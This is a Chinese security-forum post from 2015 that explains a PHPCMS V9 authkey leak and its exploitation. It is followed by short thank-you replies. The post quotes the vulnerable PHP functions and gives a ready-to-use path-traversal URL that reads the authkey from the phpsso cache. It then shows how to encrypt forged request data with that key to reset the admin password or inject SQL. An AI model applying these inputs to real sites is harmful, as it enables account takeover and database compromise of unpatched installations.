查看: 52553|回复: 163

PHPCMS最新版本authkey泄露可注射拿shell

[复制链接]
发表于 2015-6-7 09:57:38 | 显示全部楼层 |阅读模式
authkey泄露可以导致一系列安全问题
之前是在有一个《PHPCMS V9 一个为所欲为的漏洞》。可以参考这篇文章,这这篇文章的作者爆了这样一个点
[PHP] 纯文本查看 复制代码
public function getapplist() {
		$applist = getcache('applist', 'admin');
		exit(serialize($applist));
	}

厂商同学直接忽略了,但是却自己修复了(不评论),修复为
[PHP] 纯文本查看 复制代码
public function getapplist() {
		$applist = getcache('applist', 'admin');
		foreach($applist as $key=>$value){
			unset($applist[$key]['authkey']);
		}
		exit(serialize($applist));

修复得很不仔细,看来厂商真的觉得这不是个洞。好啊,那么肯定就会有其它点了,既然不重视这个点,我们来看\api\get_menu.php:
[PHP] 纯文本查看 复制代码
function ajax_getlist() {
	$cachefile = $_GET['cachefile'];
	$cachefile = str_replace(array('/', '//'), '', $cachefile);
	//$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
	$path = $_GET['path'];
	$path = str_replace(array('/', '//'), '', $path);
	//$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
	$title = $_GET['title'];
	$key = $_GET['key'];
	$infos = getcache($cachefile,$path);
	$where_id = intval($_GET['parentid']);
	$parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
	foreach($infos AS $k=>$v) {
		if($v['parentid'] == $where_id) {
			if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
			$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
		}
	}
	if(count($s)>0) {
		$jsonstr = json_encode($s);
		echo trim_script($_GET['callback']).'(',$jsonstr,')';
		exit;			
	} else {
		echo trim_script($_GET['callback']).'()';exit;		
	}
}

其中的getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容。
那么如果这样的链接会督导什么内容呢?
[AppleScript] 纯文本查看 复制代码
http://www.test.org/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin

QQ截图20150607095550.jpg
不过这里厂商又会忽略的。那么我们看看authkey怎么用
在\phpsso_server\phpcms\modules\phpsso\index.php中含有如下函数:
[PHP] 纯文本查看 复制代码
public function edit() {

		$this->email = isset($this->data['email']) ? $this->data['email'] : '';

		$this->uid = isset($this->data['uid']) ? $this->data['uid'] : '';



		$userinfo = $this->getuserinfo(1);

		

		if (isset($this->data['password']) && !empty($this->data['password'])) {

			$this->password = create_password($this->data['password'], $userinfo['random']);

		}

		

		$this->random = !empty($this->data['random']) ? $this->data['random'] : $userinfo['random'];

		if (isset($this->data['newpassword']) && !empty($this->data['newpassword'])) {

			$this->newpassword = create_password($this->data['newpassword'], $this->random);

		}



		if ($userinfo == -1) {

			exit('-1');

		}



		if (isset($this->password) && !empty($this->password) && $userinfo['password'] != $this->password) {

			exit('-2');

		}



		if ($this->email && $userinfo['email'] != $this->email) {

			if($this->checkemail(1) == -1) exit('-3');

		}	

		

		$data = array();

		$data['appname'] = $this->applist[$this->appid]['name'];

		

		if (!empty($this->email) && $userinfo['email'] != $this->email) {

			$data['email'] = $this->email;

		}



		if (isset($this->newpassword) && $userinfo['password'] != $this->newpassword) {

			$data['password'] = $this->newpassword;

			$data['random'] = $this->random;

		}



		if (!empty($data)) {

			

			//ucenter部份

			if ($this->config['ucuse']) {

				pc_base::load_config('uc_config');

				require_once PHPCMS_PATH.'api/uc_client/client.php';

				$r = uc_user_edit($userinfo['username'], '', (isset($this->data['newpassword']) && !empty($this->data['newpassword']) ? $this->data['newpassword'] : ''), $data['email'],1);

				if ($r != 1) {

				 //{-1:用户不存在;-2:旧密码错误;-3:email已经存在 ;1:成功;0:未作修改}

					switch ($r) {

						case '-1':

							exit('-2');

						break;

						case '0':				

						case '-4':						

						case '-5':						

						case '-6':

						case '-7':

						case '-8':

							exit('0');

						break;

					}

				}

			}

			if (empty($data['email'])) unset($data['email']);

		

			/*插入消息队列*/

			$noticedata = $data;

			$noticedata['uid'] = $userinfo['uid'];

			messagequeue::add('member_edit', $noticedata);

			if($this->username) {

				$res = $this->db->update($data, array('username'=>$this->username));

			} else {

				$res = $this->db->update($data, array('uid'=>$this->uid));

			}

			exit("$res");

		} else {

			exit('0');

		}

	}

里面有数据库的操作,应该是用于密码更改的。我们来构造一个data数据,加密前:
[PHP] 纯文本查看 复制代码
uid=1&newpassword=admin123456

利用上面的authkey以及cms自带的加解密函数即可进行加密。在这里,我们除了可以修改密码,还可以进行注入
[PHP] 纯文本查看 复制代码
uid=1&email=123'

具体的利用方式可参考
http://0cx.cc/phpcms_phpsso_auth_key.jspx
回复

使用道具 举报

发表于 2015-6-26 23:27:08 | 显示全部楼层
回复 支持 反对

使用道具 举报

发表于 2015-6-27 02:56:48 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

发表于 2015-6-27 02:58:51 | 显示全部楼层
感谢楼主的分享~
回复 支持 反对

使用道具 举报

发表于 2015-6-27 02:59:56 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

发表于 2015-6-27 14:28:11 | 显示全部楼层
回复 支持 反对

使用道具 举报

发表于 2015-6-28 04:28:29 | 显示全部楼层
感谢楼主的分享~
回复 支持 反对

使用道具 举报

发表于 2015-6-28 11:45:25 | 显示全部楼层
学习学习技术,加油!
回复 支持 反对

使用道具 举报

发表于 2015-6-28 18:08:52 | 显示全部楼层
感谢楼主的分享~
回复 支持 反对

使用道具 举报

发表于 2015-7-1 08:23:55 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-7 10:01 , Processed in 0.039589 second(s), 10 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部